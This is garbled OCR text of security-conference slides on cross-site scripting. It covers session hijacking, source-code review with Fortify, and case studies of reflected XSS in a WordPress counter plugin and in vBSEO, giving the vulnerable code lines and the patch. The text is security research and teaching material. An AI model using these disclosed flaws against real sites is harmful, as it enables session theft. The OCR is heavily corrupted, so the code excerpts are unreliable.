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Generic XSS Attacks I

Web Servers

» 238,640,573 exposed to the Internet
e 1921427 are located in the Netherlands

Applications

» 25,984,564 (X-Powered-By header)
e 424 323 from the Netherlands

XSS Vulnerabilities?
e 13M Worldwide / 216K Netherlands
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Session Hijac:king
* HHpOnly

e Secure

Browser Attacks

e Java, Flash, Etc.

Defacements

e Activists




Generic XSS Attacks

File Edit View History Bookmarks Tools Help =

.-':. ™% Better WP Security - View Logs... | +

é 127001/ dmin/admin.php?page=better-w

test_cookie=WP+Cookie+check; wp-settings-time-1=1401006720

Read 127001

€58 Script DOM  Net

Domain
wordpress_test_cookie j 3 127.0.0.1 36B fhitbwp/
wordpress_4aBe71d7cBbcde35b9d36501d43b8b419 6c 127.0.0.1 95B fhitbwpfwp  Sess HttpOnly
wordpress_logged_in_4a8e71d7cBbcde35b9d36501d3b8b419  admin| 1401175 127.0.0.1 105B fhitbwp/ HtpOnly
wp-settings-time-1 140100 127.0.0.1 28B fhitbwp/ 25/5/2015 5:32:01 pm

B B BER

3]




Generic XSS Attacks

File Edit View History Bookmarks Tools Help =)

| 7Y Better WP Security - View Logs... \+

é & 127.0.0.1/hitbwp,/wp-admin/admin.php?page=better-wp-security-logs x| |BY - Google ¥+ # ‘E} B # - =

wordpress_test cookie=WP+Cookie+check; wp-settings-time-1=14010067 20

Read 127001

=¥ ¢ o=

-

Console HTML (SS Script DOM Net | Cookies v | | p | cae

1 @ ‘ Cookies - Filter - | Default (Accept cookies) -

L Path
wordpress _test cookie WP Cookie check Jhitbwpf Session
wordpress_4aB8e71d7cBbcde35bod36501d3b80419 admin|1401179453|d56c  127.0.0.1 95B Jhitbwpfwp  Session HttpOnly

wordpress_logged_in_4aBe71d7cBbcde35b9d36501d3b8ba19  admin|1401179453)f51d 127.0.0.1 105B
T+ wWp-settngs-tme-1 T30 1006720 N P B

i J

Jhitbwpf Session HttpOnly
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Discovering Odays I

PenTes’ring

Quick SCR
» Highly Automated

Deep SCR

e Manual Review

Accidental

e Referer




Discovering Odays — Deep SCR I

File Edit Tools Optiens Help

rSummanr | AuditGuide | Scan | Reports AUDIT WORKBENCH FDRTIFY

FiH:ErSEt:ISECurityHuditorView v] [] My Issues [ Project Summary |5 counter-core.php |El counter-options.php &3 | |5| counter.php 2 Functicnz]

ARG </hz> Show: | All

Critical (73) . <div id="poststuff” class="cpd_settings"> Group by:

v] <?php // mass bots 7> Include external API  Legend...
<div class="postbox" >
4 ] Cross-Site Scripting: Reflected - [0 /67] - <?php
il counter-core.php:502 (Cross-Site Scripting: Refle $limit = (isset($o['massbotlimit'])) ? So[ massbotlimit] : 25; g
$limit = (isset($_POST['limit'])) 2 $_POST['limit'] : $limit;
$limit_input = '<input type="text" size="3" name="limit" value=""$limit."" />';

Group By: ’Categor}r

[ Top-level functions
Default Package

ul counter-core.php:305 (Cross-Site Scripting: Refly =

Wl counter-options.php:62 (Cross-5ite Scripting: Re

ul counter-options.php:404 (Cross-5ite Scripting: R— if ( $limit == 0)

Wl counter-options.php:406 (Shared Sink) - [0 /3] Slimit = 50¢

il counter-options.php:#11 (Cross-Site Scripting: R f:“ﬁ = $count_per_day->getMassBots( Slimit );

= counter-optfons.php:dd& (Shared ?mk] B [U,f 3 :-:h3><span class="cpd_icon cpd_massbots">&nbsp;</span> <?php _e('Mass Bots’, "cpd’) #></h3>

Wl counter-options.php:d63 (Cross-Site Scripting: <div class="inside" >

Wl counter-options.php:543 (Cross-Site Scripting: <form method="post" action="<?php echo $mysiteurl ?>#cpdtools">

Wl counter-options.php:550 (Cross-Site Scripting: <p>

Wl counter-options.php:565 (Cross-5ite Scripting: <?php printf(_{'Show all IPs with more than %s page views per day’, 'cpd’), [flimit_input) 2>
<input type="submit” name="showmassbots" value="<?php _e('show", "cpd’) 7>" class="but

<fp>

<fformz>

wl counter-options.php:6l4 (Cross-5ite Scripting:
Wl counter-options.php:626 (Cross-Site Scripting:

v ram e e

< | 1 | 3

< |

u Advanced...
P Surmmary | Details Reccn1n1E|1cIatiC|1:| Hi:tcr;.-'| Diagram | Correlated Issues | Screenshots | Security! M

Analysis Evidence Issue: counter-options.php:406 (Shared Sink) .

. Cross-Site Scripting:
ol EELLERT R L e = L S R D P User: There are multiple issues selected. Comments | Reflected (Input \.I’P:Iilt.;gation
= counter-options.php:d2 - Assignment to Scount_per_day-> : will be appended to each issue. and Representation, Data

= counter-options.php:371 - Assignment to So Analysis: :] flow)
counter-cptions.php:394 - Assignment to Slimit ) -
counter-options.php:395 - Assignment to Slimit !;::Tntif—zr:ticns.php cends
:= counter-options.php:396 - Assignment to Slimit_input Rl feE T T s
#() counter-options.php:406 - printf{l) browser, which can result in
the browser executing
malicious code.

Click to append comment (Ctrl+Enter to |:'|_
] | T save) »®
Rule ID: FOCBEF3E-CE13-44 CF-AFT0-9BFAGG09105D More Infermation...

Taint Flags: WEB, X55 Recommendations...
Direct Function Call: orintf()
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File Edit Tools Optiens Help

rSummanr | AuditGuide | Scan | Reports AUDIT WORKBENCH FDRTIFY

Filter Set: ISECurityAuditorView vl [] My Issues I [ Project Summary |5 counter-core.php |El counter-options.php &3 | |5| counter.php B Functions ]
h2> -
Group By: [Categor}f v] =inm 2 b
iv id="poststuff” class="cpd_settings"> Group by: -package =
a ] Cross-Site Scripting: Reflected - [0/ 67] - -
. _— —[php // mass bots 7> [/]Include external APT ~ Legend...
il counter-core.php:502 (Cross-5ite Scripting: Refly iy class="postbox"> -
ho:505 (C Site Scrinti Refl php [ Top-level functions
counter-core, : ross-Site Scripting: P , o . .
i counter-core.php:502 (Cross-Site Scripting: Refle imit = {5559":[30[ massbotlimit])) ? Sol massbotlimit’] : 25; 4 JeEoimdE s
wl counter-core.php:505 (Cross-5Site Scripting: Refle = $I!mft N {mset['é&_ll’(}ST[ limit PJ ? $;P‘_}ST[_I'T¢ ] :$I|:n.rt;. . e e es e e n
. . . 5 $limit_input = *<input type="text" size="3" name="limit" value="".$limit."" />; | _
i/ counter-options.phpi62 (Cross-Site Scripting: Re 7
u/ counter-options.php:d04 (Cross-Site Scripting: R— if { $limit ==0) m
[» Wl counter-options.php:406 (Shared Sink) - [0 /3] Slimit = 50¢
@l counter-options.php:411 (Cross-Site Scripting: R $bots = $count_per_day->getMassBots( $limit );
- . ey
[ ter-options.php:448 (Shared Sink) - [0 /3 :
A s !ons p pl (Share ,m ) ,[ ,f ] <h3> <span class="cpd_icon cpd_massbots">&nbsp;</span> <?php _e('Mass Bots’, "cpd’) ?></h3>
1 counter—optfons.php.éi&E (Cross—Sfte Scrfptfng. R <div class="inside" >
W/ counter-options.php:543 (Cross-Site Scripting: R <form method="post" action="<?php echo $mysiteurl ?>#cpdtools">
Wl counter-options.php:550 (Cross-Site Scripting: R <p>
i/ counter-options.phpi565 (Cross-5ite Scripting: R <?php printf(_{'Show all IPs with more than %s page views per day’, 'cpd’), [flimit_input) 2>
. _n tiw = u _u_3 . - _m
ul counter-options.phpidl4 (Cross-Site Scripting: R q“':P"t type="submit" name="showmasshots" value="<Iphp _e('show’, "cpd’) 2>" class="bu
Wl counter-options.php:626 (Cross-Site Scripting: R _ <ffPorm>
a] _ | ; 4| i | 3
v Advanced...
P e —— Summary | Details | Recommendations | History | Diagram | Correlated Issues | Screenshots | Security! M
Analysis Evidence Issue: counter-options.php:406 (Shared Sink) .
. ) \ . Cross-Site Scripting:
i counter-opt!ons.php.fil ) Reald 3 POST[ cpd_backup_part] User: There are multiple issues selected. Comments | Reflected (Input Validation
1= counter—optfons.php:dl - Assgnment to Scount_per_day-> will be appended to each issue. and Representation, Data
i= counter—optfons.phpﬁ?l - Assgnment to S:.J _ Analysis: :] flow)
:= counter-cptions.php:394 - Assignment to Slimit ) -
. . - Line 406 of
:= counter-options.php:395 - Assignment to Slimit ) .
) ) o counter-options.php sends
:= counter-options.php:396 - Assignment to Slimit_input Rl feE T T s
#() counter-options.php:406 - printf{l) browser, which can result in
the browser executing
malicious code.
Click to append comment (Ctrl+Enter to |:'|_
f T » save
| | ! x
Rule ID: FACBAF3E-CA13-44CF-AFT0-9BFAGG09105D - More Infermation...
Taint Flags: WEB, X35 il Recommendations... Foetie
Direct Function Call: printf(
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ordPress\count-pe

File Edit Tools Optiens Help

ISummaw | Audit Guide | Scan | Reporis

AUDIT WORKBENCH @RTIFY

Filter Set: ISecurity Auditor View vl

sUmmary

[ My Issues I [ Projects

=] counter-core.php

°)

Group By: [Categor}f

a ] Cross-Site Scripting: Reflected - [0/ 67] -

h2>

iv id="poststuff” class="cpd_settings">

|2l counter-options.php &3

=] counter.php 2 Functicnz]

Show: All -

crovs s o)

) o — tohp // mass bots 7> [/]Include external APT  Legend...
ol counter-core.php502 (Cross-Site Scripting: Refls I:.,Ehﬁ;,mstbox-} -
hie505 (C Site Cerinti Ref php » Top-level functions
counter-core, : ross-Site Scripting: P , o . .
i counter-core.php:502 (Cross-Site Scripting: Refle EE imit = {5559":[30[ massbotlimit])) ? Sol massbotlimit’] : 25; 4 JeEoimdE s
wl counter-core.php:505 (Cross-5Site Scripting: Refle = 325 $I!mft - {mﬂ?-'.)os“ fimit PJ ? $:P‘.}ST[_I'T¢ ! :$I|:n.rt;. M g et g
. . L 5 396 $limit_input = "<input type="text" size="3" name="limit" value="".$limit."" />"; | _
i/ counter-options.phpi62 (Cross-Site Scripting: Re 297 [
u/ counter-options.php:d04 (Cross-Site Scripting: R— =os|  if ( limit==0) m
> i counter-options.php:406 (Shared Sink) - [0/ 3] 399 Slimit = 50¢
i/ counter-options.phpid1l (Cross-Site Scripting: R 7 S$bots = Scount_per_day->getMassBots{ Slimit );
i i o1
[ ter-options.php:448 (Shared Sink) - [0 /3
Al !DHSp PI (Share ,m ) ,[ ,f ] 22|  <h3=><span class="cpd_icon cpd_massbots”>&nbsp;</span> <?php _e('Mass Bots', "cpd’) #> </h3:
1 counter—optfons.php.463 (Cross—Sfte Scrfptfng. R o3l <div class="inside">
ul counter-options.php:343 (Cross-Site Scripting: R a4 <form method="post" action="<?php echo $mysiteurl ?>#cpdtools">
Wl counter-options.php:550 (Cross-Site Scripting: R a5 <p>
i/ counter-options.phpi565 (Cross-5ite Scripting: R 86 <?php printf(_{'Show all IPs with more than %s page views per day’, 'cpd’), [flimit_input) 2>
- . _n tiw = u _u_3 . - _u
u/ counter-options.php:614 (Cross-Site Scripting: R o <!<|:puttype— submit” name="showmassbots" value="<?php _e('show", "cpd’} 7>" class="bu
Wl counter-options.php:626 (Cross-Site Scripting: R _ :; <ffPorm>
- . L ramee P, N L
< | 1 | 3 q] — | -
v Advanced...
o SovaneeCe § oo | Details | Recommendations History | Diagram | Correlated Issues | Screenshots | Security! M
":"-nal}"EiE Evidence r-options.php:406 (Shared Sink) .

Cross-Site Scripting:

#0 counter-options.phpdd - Read 5_POST['cpd_backup_part']
:= counter-options.php:d2 - Assignment to Scount_per_day-»
counter-cptions.php:371 - Assignment to So

:= counter-options.php:394 - Assignment to Slimit
counter-cptions.php:395 - Assignment to Slimit

:= counter-options.php:396 - Assignment to Slimit_input
counter-cptions.php:406 - printf(1)

There are multiple issues selected. Comments
will be appended to each issue.

I

Click to append comment (Ctrl+Enter to

L LLLJ T F

Rule ID: FOCBAF3E-C813-44 CF-AFT0-9BFAGG09105D P
Taint Flags: WEE, ¥55
Direct Function Call: orintf()

save)

Reflected (Input Validation
and Representation, Data
flow)

Line 40
counter-options.php sends
unvalidated data to a web
browser, which can result in
the browser executing
malicious code.

More Infermatien...

Recommendations... Search:
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File Edit Tools Optiens Help

rSummanr | AuditGuide | Scan | Reports AUDIT WORKBENCH FURTIFY

FiH:erSet:ISecurityAuditor‘u’iew vl [] My Issues I [ Project Summary | |5 counter-core.php El counter-options.php EEI =] counter.php | 2 Functicnz]

external APT  Legend...

Group By: [Categor}f

B Project Summary | |Z| counter-corephp |5 counter-options.php &3 | |5 counter.php | 3

«fh2= -

a ] Cross-Site Scripting: Ref
Wl counter-core.php50

p-level functions

counter-core.php50 ault Package

Wl counter-core.php:d02
Wl counter-core.php:505

<div id="poststuff" class="cpd_settings" >

Wl counter-options.php:b,

«?php /f mass bots T

counter-options. php:d A . o
=div class="postbox" >

[» Wl counter-options.phpd
u/ counter-options.php:4 <Iphp
[+ ml counter-options.php:d $|Il'llit = {Eset{k['maisbutllmlt'lll ? h['mﬂSbﬂtlimlt'] H 25.
& counter-options.php:4 $limit = (isset($_POST['imit'])) ? $_POST['limit’] : $kimit;
i/ counter-options.php:5 $limit_input = '<input type="text" size="3" name="limit" value="".%$limit."" />"; i

Wl counter-options.php:5

Wl counter-options.php5

if { $limit ==0)
Llimit = 50
$bots = $count_per_day-»getMassBots( $limit );
e
<h3> <span class="cpd_icon cpd_massbots" >&nbsp;</span> <?php _e('Mass Bots’, 'cpd") 7></h3:
«<div class="inside" >
<form method="post" action="<?php echo $mysiteurl ?>#cpdtools">
<p>
<?php printf{__(*Show all IPs with more than %s page views per day', 'cpd’), [flimit_input) 2>
<zinput type="submit" name="showmassbots" value="<?php _e('show’, "cpd’) ?>" class="bu
B8 </p=
a9 <fform>

ul counter-options.php:f:
Wl counter-options.php:6.

-

< | 1
pﬁ‘

Analysis Evidence

#0 counter-options.phpdd -
:= counter-options.phpd2 -
:= counter-options.php:371 -

1= counter-options.php:394 -

:= counter-options.php:395 4 e
. 3
:= counter-options.php:396 | —
counter-cptions.php:406 - printf
:b{] P php P 0 Click to append comment (Ctrl+Enter to |:'|_
N I ] ¥ save) ol
Rule ID: FOCBEF3E-CB13-44CF-AFT0-9BFAGE09105D - Meore Infermation...
Taint Flags: WEB, X35 il Recommendations... Foetie
Direct Function Call: printf(
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File

Edit Search View Tools Options Language Buffers Help

1 vbseo_moderate.php |

214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248

249
250

i { -
if (vbseo_can_moderation_linkback{D, $pback{'forumid']))
continue;
if{1&linkbacks_na)
print_description_row('
<input type="button" value="' . gvbphrase['vbseo_wvalidate'] . " onclick="js_check_all_option{this.form, 1);" class="button" title=""' . $vbphr:
" . {{can_moderate('candeleteposts') OR can_moderate('canremoveposts')) ? '&nbsp;

<input type="button" value="" . gvbphrase['delete'] . " onclick="js_check_all_option({this.form, -1);" class="button" title="" . gvbphrase['del¢
&nbsp;
<input type="button" value="' . gvbphrase['ignore'] . " onclick="js_check_all_option(this.form, 0);" class="button" title="" . $vbphrase['ignor

', 0, 2, 'thead', 'center');
Slinkbacks _no++;
gpback{'t_title'] = htmispecialchars(gpback['t_title'], ENT_QUOTES);
if{%linkbacks_no=1)
print_description_row('<span class="smallfont"=&nbsp; </spanz', 0, 2, 'thead");
print_label_row('<b=' . $vbphrase['posted_by'] . "</b>', '«a href="_htmlentities($pback('t_src_url'])."\" target=\"_blank\"=%pback[t_src_url]- —
print_label_row('<b=>' . $vbphrase['vbseo_for'] . '</b>', "<a href="".htmlentities{fpback{'t_dest_url'])."\" target=\"_blank\"=gpback[t_dest_ur
print_label_row('<b=' . gvbphrase['vbseo_type'l . '</b= "', $vbphrase['vbseo_".({$pback{'t_type'l==2)?"reftback':($pbackl't_type'l?'trackback
print_label_row('<b=' . $vbphrase['date'] . '</b>', date("Y-m-d H:i:s',Epback['t_time']));
brint_input_row{s;'vbphrase['title'], "pingtitle[ $pback[t_id]]", $pback{t_tite], 0, 70);
print_textarea_row({$vbphrase['message'], "pingtext[£pback[t_id]]", htmlentities($pback[t_text]), &, 70);
print_label_row({gvbphrase['action'], "
<label for=\"val_gpback[t_id]\"><input type=\"radio\" name=\"pingaction[$pback[t_id]]\" value=\"1\" id=\"val_gpback{t_id]\" tabindex=\"1\"
<label for=\"del_gpback{t_id]\"=<input type=\"radio\" name=\"pingaction[$pback[t_id]]\" value=\"-1\" id=\"del_gpback[t_id]\" tabindex=\"1}
<label for=\"ign_gpback{t_id]\"><input type=\"radio\" name=\"pingaction[$pback[t_id]]\" value=\"0\" id=\"ign_gpback[t_id]\" tabindex=\"1}"
", ", 'top', 'postaction');
}
if (1&linkbacks_no)

=1
print_description_row{$vbphrase['vbseo_no_linkbacks_awaiting_moderation']);
print_table_footer();
}
glse

=1
print_description_row{vbseo_pager{&total, 'pager’), false, 9, ", 'center’);
print_submit_row();
= -

m |

|

UL 4
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File Edit Search View Tools Options Language Buffers Help

1 vbseo_moderate.php |

214 -{
215 if (vbseo_can_moderation_linkback{D, $pback{'forumid']))
216 continue;

217 if{1&linkbacks_na)
218 print_description_row('

219 <input type="button" value="' . gvbphrase['vbseo_wvalidate'] . " onclick="js_check_all_option{this.form, 1);" class="button" title=""' . $vbphr:
220 "o Afran moderatefl'randeletennste™ OF can moderatef'ronremowvenncte™ ? 'Binhen-
221 -l &linkbacks_no++; rase['dele
222 & gpback('t_title'] = htmlspecialchars{gpback{'t_title'], ENT_QUOTES);
ii < if($linkbacks_no>1) se['ignor

St éi print_description_row('=<span class="smallfont">&nbsp; </span>', 0, 2, 'thead');
276 = print_label_row('<b=' . Svbphrase['posted_by'] . '</b=', '<a href="".htmlentities{$pback['t_src_url'])."\" targd
277 i print_label_row('<b=' . Svbphrase['vbseo_for'] . '</b>', "<a href=""htmlentities{$pback{'t_dest_url'])."\" targ
228 pr| print_label_row('<b=>' . $vbphrase['vbseo_type']l . '</b> ', $vbphrase['vbseo_".({#pback('t_type'l==2)?"refba
229 prl print_label_row('<b>' . $vbphrase['date'] . '</b=', date("y-m-d H:i:s', gpback{'t_time']});

230 P brint_input_ruw{$vbphraﬁe['title'], "pingtitie[$pbacklt_id]]", $pbacklt_title]l, 0, 70);
i;; E; print_textarea_row({$vbphrase['message'], "pingtext[$pbackt_id]]", htmlentities({$pback{t_text]), &, 70);

533 br print_label_row({#vbphrase['action’], "
234 pr| <label for=\"val_gpback[t_id]\"><nput type=\"radio\" name=\"pingaction[$pback[t_id]1]\" value=\"1\" id=\"v{
235 pr| <label for=\"del_g&pback{t_id]\"=<input type=\"radic\" name=\"pingaction[$pback{t_id]]\" value=\"-1\" id=\"g

236 <l «abel for=\"ign_spback[t_id]\"=<input type=\"radio\" name=\"pingaction[$pback{t_id]]\" value=\"0\" id=\"ig
;g; :: ", ", 'top', 'postaction'};

239 » |

lsre_url]-—
| dest_ur
rackback

ex:\‘\III l\\ll
dex=)"1%
ex=\"1}"

240 1 |if (!$linkbacks_no)

241 if (1&linkbacks_no)

242  -{

243 print_description_row{$vbphrase['vbseo_no_linkbacks_awaiting_moderation']);
244 print_table_footer();

245 I

246 glse

297 -{

248 print_description_row{vbseo_pager{&total, 'pager’), false, 9, ", 'center’);
249 print_submit_row();
750 ;!

1 1
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Case Study - vBSEO I

Linkbacks

Vulnerability Details:

* File: /modcp/vbseo_moderate.php

 Lines: 276/274, 230, 178, 112 are vulnerable.

* Variable: Spbacklt_title]

« Affected Features: Moderate/Incoming/Outgoing LinkBacks

Vulnerability Patch:
htmlentities(Spbacklt_title], ENT_QUOTES, “UTF-8);

Source: http://www.exploit-db.com/exploits/16076



http://www.exploit-db.com/exploits/16076
http://www.exploit-db.com/exploits/16076
http://www.exploit-db.com/exploits/16076
http://www.exploit-db.com/exploits/16076

Case Study - vBSEO I

File Edit 5earch Miew Options Window Help

EEE YEY P wBRR D IPD M B ? l
‘Spback(t_title]' in *.php: 4 matches in 2 files. 1150 files searched. 0 files skipped. vhseo_moderate.php (Whole file)

M amne | T | Type | Folder Matches Size I
_] vbzeo_moder.. T PHPFile CAJzershlocalusersDocumentshResearch =5 SHITBWE Milesbackuphvarwwwmodep 2 22591
_] vbzeo_moder.. T PHPFile C:AJzershlocalusersDocumentssResearchi=5 SHITBYWwE Milesbackuphyarvwwwwuploadsmodep 2 22377
4 | m | 3

00221: =<input type="button" value="" . $vbphrase['delete'] . " onclick="ys_check_all_option(this.form, -1);" class="button" title="" . $vbphrase['delete'] . " /=" " =

00222; &nbsp;

00223: <input type="button" value="". $vbphrase['ignare'] . " onclick="js_check_all_option(this.form, 0);" class="button" title="" . $vbphrase['ignore'] . " /=

00224: ', 0, 2, 'thead', 'center');

00225: slinkbacks_no++;

00226: $pback['t_title'] = htmlspecialchars($pback['t_title'], ENT_QUOTES);

00227: if{$linkbacks_no=1)

00228: print_description_row('<span class="smallfont">&nbsp;</span=', 0, 2, 'thead');

00229: print_label_row('<b="'. $vbphrase['posted_by'] . '=/b=", '=a href="".htmlentities{$pback['t_src_url'])."\" target=\"_blank\"=$pback[t_src_url]=/a=");

00230: print_label_row('<b=". $vbphrase['vbseo_for'] . '</b=", "<a href="".htmlentities({$pback(['t_dest_url'])."\" target=\"_blank\"=%pback[t_dest_url]</a=");

00231: print_label_row('<b="'. $vbphrase['vbseo_type'] . '</b= ', $vbphrase['vbseo_".(($pback['t_type']l==2)17"refback’:($pback['t_type']?'trackback': 'pinaback’]]]

00232: print_label_row('=b=". $vbphrasze['date'] . '=/b=", date("¥-m-d H:i:s',$pback['t_time'])); J

00233: print_input_row($vbphrase['title'], "pingtitle[$pback[t_id]]", $pback[t_title]l, 0, 70);

00234: print_textarea_row($vbphrase['message'], "pingtext[$pback[t_id]]", htmlentities({$pback[t_text]), 8, 70);

00235: print_label_row($vbphrase[ 'action'], "

00236: =label for=\"val_spback[t_id]\"=<input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"1\" id=\"val_spback[t_id]\" tabindex=Y"1\" /=" . $vbphi

00237: =label for=\"del_spback[t_id]\"=<input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"-1\" id=\"del_s$pback[t_id]\" tabindex=\"1\" /=" . $vbpt

00238: =label for=\"ign_$pback[t_id]\"==input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"0Y" id=\"ign_$pback[t_id]\" tabindex=%"1\" checked=\"1

00239; ", ", 'top', 'postaction’);

00240: }

00241: if ('$linkbacks_no)

00242: {

00243: print_description_row($vbphrase['vbseo_no_linkbacks _awaiting_moderation']);

00244: print_table_footer();

00245: 3

00246: elze

00247 {

TI‘I?AF!: nrint descrintinn rnwl’\[hﬂﬁn naner{&total. 'naner'). falze. 9. " 'renter': -
4 3




Case Study - vBSEO I

@ Windows Grep 2.3 EE
File Edit 5earch Miew Options Window Help
=88 Y gV b "o Kil 4 B m 7 l
‘Spback(t_title]' in *.php: 4 matches in 2 files. 1150 files searched. 0 files skipped. vhseo_moderate.php (Whole file)
| b ame | T | Tune | Enlder | Matehe | Size I
_I TS TIPS T. .. T T TTT T = T ST AT T A T T AT T I AT T - T T T T TIT TR ﬁ?u-ﬁ
_]wvhseo_mader.. T PHP File C:\Uzershlocaluzer\Docurnents\Research S SHITBYwBErr
4 | m | 3

T — T Lad p— T Lad B FT
00221: =<input type="button" value="" . $vbphrase['delete'] . " onclick="ys_check_all_option(this.form, -1);" class="button" title="" . $vbphrase['delete'] . " /=" " =
00222; &nbsp;
00223: <input type="button" value="". $vbphrase['ignare'] . " onclick="js_check_all_option(this.form, 0);" class="button" title="" . $vbphrase['ignore'] . " /=
00224: ', 0, 2, 'thead', 'center');
00225: slinkbacks_no++;
00226: $pback['t_title'] = htmlspecialchars($pback['t_title'], ENT_QUOTES);
00227: if{$linkbacks_no=1)

00228: print_description_row('<span class="smallfont">&nbsp;</span=', 0, 2, 'thead');
(nlalelel=T] rlr_rlnf |.-uh|=| o h ' ‘tuhnhrn:»ﬂr st h\ur'l ! .l'h 'l hrFlF_ h+m||=nh1'n=:|"'tnhr-n"l{rf =re ||r|'|‘| " 1'.-1rm=1'_"." hl.—-ml-r". ltnhr-ur'l.rH sre el .l"n "‘I'

00232: |:H'II'I1Z label_ rn:uwli <h="'. $vhphrase[ date'] . {fl:r} n:IatE{"r’ m- I:I H:i: 5,.$|:+I:+an:|-c:[t tIITIE 1
00233: prlnt_lnput_mw{ﬂ;vbphrase[ title'], "|:Hngt|tle[$|:+han:|-c:[t_|u:|]]", Spback[t_title], 0, 70);
00234: print_textarea_row($vbphrase['message'], "pingtext[$pback[t_id]]", htmlentities{$pback

NAO328y mrint laskhal roscf ESvrbhnbreseasl ' setimn'l "

00237: =label for=\"del_spback[t_id]\"=<input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"-1\" id=\"del_s$pback[t_id]\" tabindex=\"1\" /=" . $vbpt
00238: =label for=\"ign_$pback[t_id]\"==input type=Y"radio\" name=\"pingaction[$pback[t_id]]\" value=\"0Y" id=\"ign_$pback[t_id]\" tabindex=%"1\" checked=\"1
00239; ", ", 'top', 'postaction’);

00240: }

00241: if ('$linkbacks_no)

00242; {

00243: print_description_row($vbphrase['vbseo_no_linkbacks _awaiting_moderation']);

00244: print_table_footer();

00245: }

00246: elze I

00247: {

Nn248: nrint descrintion rnwl’Th:Fn naner{&total. 'naner'). falze. 9. " 'center'l:




Case Study - vBSEO I

@ Windows Grep 2.3 _ !

File Edit Search ¥iew Options Window Help

=E&8 Y EY b BB @ nEm R ?

‘print_input_row' in *.php: 518 matches in 68 files, 1150 files searched. 0 files skipped. adminfunctions.php (Whole file)
M arne | T | Type | Falder [ ]
J usertitle. php T PHF File CA]zershlocalusersDocumentshResearch =55 HITBWwB ilesbackup'warswwwhadmincp
J uzertoolz. php T PHF File C:AzershlocalusersDocumentshResearch =55 HITBWwB \llesbackup'warswwwhadmincp
J wernfy. php T PHF Fie C:AsershlocalusersDocumentshResearch =55 HITBYWwB \lesbackup'warswwwhadmincp
J adminfunctions. php T PHFFile C:AzershlocaluzersDocuments\Research\ =55 HITBWwB\fileshackupwarswwahincludes
J adminfunctions_options. php T PHFFile C:A]zershlocaluzersDocuments\Research\ =55 HITB B filesbackup'warswwahincludes
J adminfunctions_prafilefield. php T PHF File C:A]zershlocaluzertsDocumentshResearch =SS HITBWB ilesbackup'warswwahincludes
J adminfunctions_template. php T PHF File C:A]zershlocaluzertsDocumentshResearch =SS HITBWB ilesbackup'warswwahincludes |E|
J adminfunctions_user.php T PHF File CA]sershlocalusersDocuments\Research =55 HITB B \filesbackupivarswwwhincludes
] blag_plugin_useradmin.php T PHF File C:AzershlocalusersDocumentshResearch =55 HITBWwBhlesbackup'warswwwhincludes
w]lr:lmrt ztulevar nhin T PHPFi= (IR |:Qler:t'\lnr:alumr\nnr:lJmenrs'\FIF!:QHarr:hWFiFiH|TH’WH'\filﬂ:char:k|Jn\var\www'\inr:||JrIFm E
4 1 P
00913: * -

00919: * @param string Title for row

00920: * @param string Name for input field

00921: * @param string Value for input field

00922: * @param boolean Whether or not to htmlspecialchars the input field value

00923: * @param integer Size for input field

00924: * @param integer Max length for input field

00925: * @param string Text direction for input field —
00926: * @param mixed If specified, overrides the default CS5 class for the input field

00927: */

00928: function print_input_row($title, $name, $value = ", $htmlise = true, $size = 35, $maxlength = 0, $direction = ", $inputclass = false, $inputid = false)
00529: {

00930: aglobal $vbulletin;

00931:

00932; sdirection = venfy_text_direction($direction);

00933:

00934: if($inputid===false)

00935: {

00936: sid = "it_' . $name . "_' . fetch_uniqueid_counter();

00937: }

00938: else

00939: {

00940: $id = $inputid;

00941: }

00942

00943: print_label_row(

D0944: stitle,

00945: "=div id=\"ctrl_name\"==<input type=\"text\" class=\"" . iif($inputclass, $inputclass, 'bginput’) . "\" name=\"gname\" id=Y"$id\" value=\"" . iif($htmlise, hi

[T T o I LB P I B P

4] | b
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@ Windows Grep 2.3 _ !

File Edit Search ¥iew Options Window Help

PEHE YRy P wBB @ H =m @ ?
‘print_input_row' in *.php: 518 matches in 68 files, 1150 files searched. 0 files skipped. adminfunctions.php (Whole file)

Mame | 7] Type | Folder [«
J usertitle. php T PHF File CA]zershlocalusersDocumentshResearch =55 HITBWwB ilesbackup'warswwwhadmincp

J uzertoolz. php T PHF File C:AzershlocalusersDocumentshResearch =55 HITBWwB \llesbackup'warswwwhadmincp

— G phvarsaaadmincp

phvarasincludes

J admlr‘lfunl:tll:lﬂﬁl:lhl:l T F'HF' F|IE plvarswwiiincliudes

1 1 i R o Lims L 1 I o | I | phvarvrthincludes

J adminfunctions_template. php T PHF File C:A]zershlocaluzertsDocumentshResearch =SS HITBWB ilesbackup'warswwahincludes |E|

J adminfunctions_user.php T PHF File CA]sershlocalusersDocuments\Research =55 HITB B \filesbackupivarswwwhincludes

] blag_plugin_useradmin.php T PHF File C:AzershlocalusersDocumentshResearch =55 HITBWwBhlesbackup'warswwwhincludes
w]lr:lmrt ztulevar nhin T PHPFi= (IR |:Qler:t'\lnr:alumr\nnr:lJmenrs'\FIF!:QHarr:hWFiFiH|TH’WH'\filﬂ:char:k|Jn\var\www'\inr:||JrIFm E

4 1 P
00913: * -

00919: * @param string Title for row

00920: * @param string Name for input field

00921: * @param string Value for input field

00922: * @param boolean Whether or not to htmlspecialchars the input field value

00923: * @param integer Size for input field

00924: * @param integer Max length for input field

00925: * @param string Text direction for input field —
00926: * @param mixed If specified, overrides the default CS5 class for the input field

00927: */

00928: function print_input_row($title, $name, $value = ", $htmlise = true, $size = 35, $maxlength = 0, $direction = ", $inputclass = false, $inputid = false)
00529: {

00930: aglobal $vbulletin;

00931:

00932; sdirection = venfy_text_direction($direction);

00933:

00934: if($inputid===false)

00935: {

00936: sid = "it_' . $name . "_' . fetch_uniqueid_counter();

00937: }

00938: else

00939: {

00940: $id = $inputid;

00941: }

00942

00943: print_label_row(

D0944: stitle,

00945: "=div id=\"ctrl_name\"==<input type=\"text\" class=\"" . iif($inputclass, $inputclass, 'bginput’) . "\" name=\"gname\" id=Y"$id\" value=\"" . iif($htmlise, hi

[T T o I LB P I B P

4] | b




@ Windows Grep 2.3

Case Study - vBSEO I

Eile Edit

=RE v

Search View Options

Y. b

A=+B ..

Window Help

wo B B [

M BMm

‘print_input_row' in *.php: 518 matches in 68 files, 1150 files searched. 0 files skipped.

?
adminfunctions.php (Whole file)

